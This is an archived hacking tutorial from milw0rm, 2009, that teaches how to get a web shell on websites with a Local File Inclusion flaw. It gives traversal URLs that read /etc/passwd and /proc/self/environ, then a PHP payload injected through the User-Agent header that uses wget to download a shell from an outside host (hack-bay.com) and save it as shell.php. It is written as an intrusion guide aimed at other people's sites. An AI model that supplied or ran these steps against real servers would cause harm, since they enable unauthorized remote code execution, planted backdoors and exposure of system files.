shell via LFI - proc/self/environ method

Archived security papers and articles in various languages.

```
>>>>>>>>>>>>>>> Shell via LFI - proc/self/environ method <<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>            Author : SirGod                <<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>           www.insecurity-ro.org           <<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>              www.h4cky0u.org              <<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>             sirgod08@gmail.com            <<<<<<<<<<<<<<<
```

>> 1 - Introduction

In this tutorial I show you how to get a shell on websites using Local File Inclusion vulnerabilities and injection malicious code in proc/self/environ.Is a step by step tutorial.

>> 2 - Finding LFI

- Now we are going to find a Local File Inclusion vulnerable website.So we found our target,lets check it.

```
www.website.com/view.php?page=contact.php
```

- Now lets replace contact.php with ../ so the URL will become

```
www.website.com/view.php?page=../
```

and we got an error

```
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
```

big chances to have a Local File Inclusion vulnerability.Let's go to next step.

- Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a reques

```
www.website.com/view.php?page=../../../etc/passwd
```

we got error and no etc/passwd file

```
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
```

so we go more directories up

```
www.website.com/view.php?page=../../../../../etc/passwd
```

we succesfully included the etc/passwd file.

```
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP
User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
```

>> 3 - Checking if proc/self/environ is accessible

- Now lets see if proc/self/environ is accessible.We replace etc/passwd with proc/self/environ

```
www.website.com/view.php?page=../../../../../proc/self/environ
```

If you get something like

```
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,
application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com
HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80
(Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin
QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200
REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?
view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php
SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com
SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4
FrontPage/5.0.2.2635 Server at www.website.com Port 80
```

proc/self/environ is accessible.If you got a blank page,an error proc/self/environ is not accessible or the OS is FreeBSD.

```
>> 4 - Injecting malicious code

   - Now let's inject our malicious code in proc/self/environ.How we can do that?We can inject our cc
User-Agent HTTP Header.
    Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the
URL :

      www.website.com/view.php?page=../../../../../proc/self/environ

     Choose Tamper and in User-Agent filed write the following code :

        <?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?>

    Then submit the request.

     Our command will be executed (will download the txt shell from http://hack-bay.com/Shells/gny.txt and
will save it as shell.php in the
website directory) through system(), and our shell will be created.If don't work,try exec() because
system() can be disabled on the webserver from php.ini.

>> 5 - Access our shell

    - Now lets check if our malicous code was successfully injected.Lets check if the shell is present.

       www.website.com/shell.php

       Our shell is there.Injection was succesfully.

>> 6 - Shoutz

   Shoutz to all members of www.insecurity-ro.org and www.h4cky0u.org.

# milw0rm.com [2009-08-04]
```